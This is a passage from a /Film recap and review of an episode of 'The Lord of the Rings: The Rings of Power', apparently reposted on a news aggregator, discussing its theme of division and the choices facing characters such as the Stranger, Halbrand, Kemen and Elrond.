Although the sequence ends on another ominous note with a match cut between the full moon, the Stranger’s fiery arrival on the meteor, and the ash-ridden landing spot that has now been discovered by some evil-looking figures (led by the unidentified character played by actor Bridie Sisson, who probably isn’t Sauron), the montage evokes some of the best moments from Peter Jackson’s trilogy and even Tolkien’s novels, as well. And, most importantly, the focus on the Stranger as he observes these kindhearted Harfoots working together for a common good establishes the episode’s running theme: Whether where we come from has to dictate where we choose to go.

In other words? Perhaps not all who wander are really lost.

Deep Divisions

The rest of the hour purposefully jars viewers loose of the melancholy reverie that opens the episode, transitioning to the villainous Adar (played by “Game of Thrones” alum Joseph Mawle) as he readies “legions” of orcs to attack the Southlanders taking shelter in the abandoned elf watchtower. Here is where the first of the episode’s many partings occur, as the deluded Waldreg (Geoff Morrell) interrupts Bronwyn’s (Nazanin Boniadi) inspirational speech and promptly divides the group into two — one that’s keen on forsaking the Morgoth-sympathizing history of their ancestors and fight off Adar’s army, and the other seduced by Adar’s promise of safe passage if only they kneel and swear fealty to him. Not even Arondir’s (Ismael Cruz Córdova) pleas can stop fully half of the villagers from embracing their dark history and going over to the enemy.

Not even those enlightened inhabitants of Númenor are immune to the widening gulf swallowing up our main characters in Middle-earth, as the island kingdom endures divisiveness of its own between those who support Galadriel (Morfyyd Clark) and Queen Míriel’s (Cynthia Addai-Robinson) call to arms and the those less eager to wade into a war that they have no part in. This is mostly seen through the eyes of Eärien (Ema Horvath) and Kemen (Leon Wadham), two characters created for the show with familial ties to figures playing a direct role in the upcoming battle. Coaxed into confronting his influential father, Kemen instead gets an eye-opening lesson in politics as Pharazôn (Trystan Gravelle) reveals his hidden agenda for joining the fight — increased power for Númenor, potential trade profits, and the possibility of flipping their dynamic with the unwanted elves by making them take orders from Númenor, for a change.

Meanwhile, Galadriel and Halbrand (Charlie Vickers) provide a personal balance to the political strife when the elf pushes the exiled Southlander king too far. Content to live in peaceful seclusion, Halbrand instead feels like Galadriel shamelessly manipulates his claim to the throne to provoke Míriel into sending the formidable Númenorean fleet in the first place … and he’s not wrong, either.

Darkness In Middle-Earth

Elsewhere, things grow even direr for those back on the mainland. First, the mysterious power that the Stranger wields takes a turn for the sinister when he successfully fends off wild wolves attacking the Harfoots — but at the cost of strange, diseased-looking markings on his arm that soon results in more harmful side-effects for the innocents around him. With his magic seeming to grow in strange and unpredictable ways, the Stranger inadvertently gets Nori caught up in some sort of incantation that freezes water and her arm along with it. In case composer Bear McCreary’s apprehensive score didn’t give it away, the scene transition preceding this moment — where we abruptly cut from Míriel’s royal father warning her against “darkness” in Middle-earth to the Stranger himself — ought to raise viewers’ eyebrows even further about this character’s true intentions. Tom Bombadil truthers, it’s not looking so great anymore!

The spread of darkness in Middle-earth becomes much more literal in the storyline involving Elrond (Robert Aramayo), Prince Durin (Owain Arthur), and High King Gil-Galad (Benjamin Walker). While marking the successful “union” of their people with the building of the forge, however, even their celebratory toast is marred by mistrust on both sides of the elf/dwarf divide. Elrond begins to suspect that the High King had ulterior motives all along and, as Gil-Galad himself admits, it comes down to mithril. The twist involves the “blight” that we’ve seen growing on various plants and trees (first seen when the Stranger’s meteor streaked overhead at the end of the premiere, in fact) and the fading of the Eldar’s light posing an existential threat to elves everywhere. Only mithril, which contains the light of the Silmarils (and, by extension, the trees of Valinor themselves), can save them from having their immortal souls “dwindle” … somehow.

Admittedly, this danger still feels too vague and ill-defined to really mean anything to us just yet, but it’s enough to sink Elrond into a crisis of conscience over whether to abide by the oath he swore to Durin last week to keep his secret, or to admit his knowledge of the dwarves’ discovery of mithril (even though Gil-Galad pretty much figures it out already).

Decisions, Decisions…

Every character, it seems, dangles on a knife’s edge in this episode and must confront fateful choices that will define the rest of the season to follow.

In the Southlands, young Theo (Tyroe Muhafidin) elects to stay with his mother over Waldreg and even goes so far as to open up to Arondir about his broken sword hilt. Both decisions pay off when Arondir immediately recognizes it as some kind of a “key” that (quite conveniently) lines up with an old stone statue at the watchtower. Whatever the specifics, it’s clear that Adar seeks to recover Theo’s hilt … at all costs.

Meanwhile, Isildur (Maxim Baldry) and Kemen find their actions intersecting in explosive ways on Númenor, when the former’s attempt to stowaway on one of the warships under the nose of his father Elendil (Lloyd Owen) coincides with the latter’s devious act of sabotage to blow up the fleet and prevent the island from entering war in Middle-earth at all. Bound by mutually assured destruction if either one reveals the other’s secret, the rest of the main characters must instead deal with the fallout of having only 3 ships left.

Ultimately, Halbrand alludes to dark secrets of his own when he stands as the deciding vote over whether to aid Middle-earth or not against Sauron. He heavily implies that he was forced to ally with the enemy in order to make it onto that raft in the Sundering Seas where he met Galadriel in the first place. But rather than judge him, Galadriel’s admission that she simply can’t stop fighting — to the point that even friends like Elrond could no longer differentiate herself from the evil she meant to defeat — draws even more parallels between the two characters. And though Halbrand wavers over whether to rise above his past or not, his sense of honor finally wins out.

Halbrand, Bronwyn, Durin, and more all hold the fate of kingdoms in their hands, and all factor into the episode’s impressively strong focus on overcoming great divides and past failures to do the right thing. With only a handful of episodes left, “The Rings of Power” has carefully positioned its characters to stand on the cusp of their biggest battle and most daunting challenge yet.

Riddles In The Dark And Other Stray Thoughts

  • Adar: Still kept at arm’s reach from us, Adar’s plan finally begins to come into focus here and seems to dovetail with his backstory as a corrupted elf. In a painful interaction with an unfortunate orc, he describes how he means to essentially steal the light of the sun — a revelation that should feel somewhat more ominous now that we know how much the elves are seeking to preserve the light of the Valar to save their people.
  • Identity Crisis: This episode is frustratingly light on any real humor until Durin ruefully admits that his stunt with the stone table, which he played up as some culturally significant rock, was all a ruse. But before that, an unintentional bit of comedy comes when Waldreg speaks for quite a bit of the fanbase and mistakes Adar for Sauron himself. His incredulous reaction safely shoots that theory down for good (while suggesting a possible rivalry between them), though he’s obviously no less evil when he forces Waldreg to kill Theo’s young friend in cold blood to prove his loyalty. Dark, man.
  • “Matrix” Moment: One of the best moments in the episode has to be Galadriel’s thrilling sword fighting demonstration with the young Númenorean soldiers, showing off a wonderfully choreographed fight sequence that feels more like a dance — a choice that perfectly fits the context of the elf warrior clearly toying with inexperienced, yet prideful punks. With the caveat that I may be the only one who feels this way, I couldn’t help but think of a certain scene from “The Matrix” when Isildur overhears the commotion as others rush to the fight. It’s basically “Morpheus is fighting Neo!” writ large — and to similar results.
  • Echoes of Helm’s Deep: It remains to be seen if next week’s episode dedicates a significant portion to the encroaching battle between the Southlanders and Adar (with the Númenoreans soon to arrive, as well), but much of the setup to this conflict felt like intentional references to how “The Two Towers” painstakingly set up its main battle — not just through the pervasive sense of dread for the overmatched defenders, but particularly that shot where Arondir and Bronwyn look down upon the orc encampment, lit by torchlight. Prime Video’s budget for this series will certainly be put to the test once this battle unfolds in earnest.

Read this next: The Best Lord Of The Rings Characters Who Weren’t In The Movies

The post Divided Loyalties And Painful ‘Partings’ Take Centerstage In The Lord Of The Rings: The Rings Of Power appeared first on /Film.

]]> https://briefnews.eu/divided-loyalties-and-painful-partings-take-centerstage-in-the-lord-of-the-rings-the-rings-of-power/feed/ 0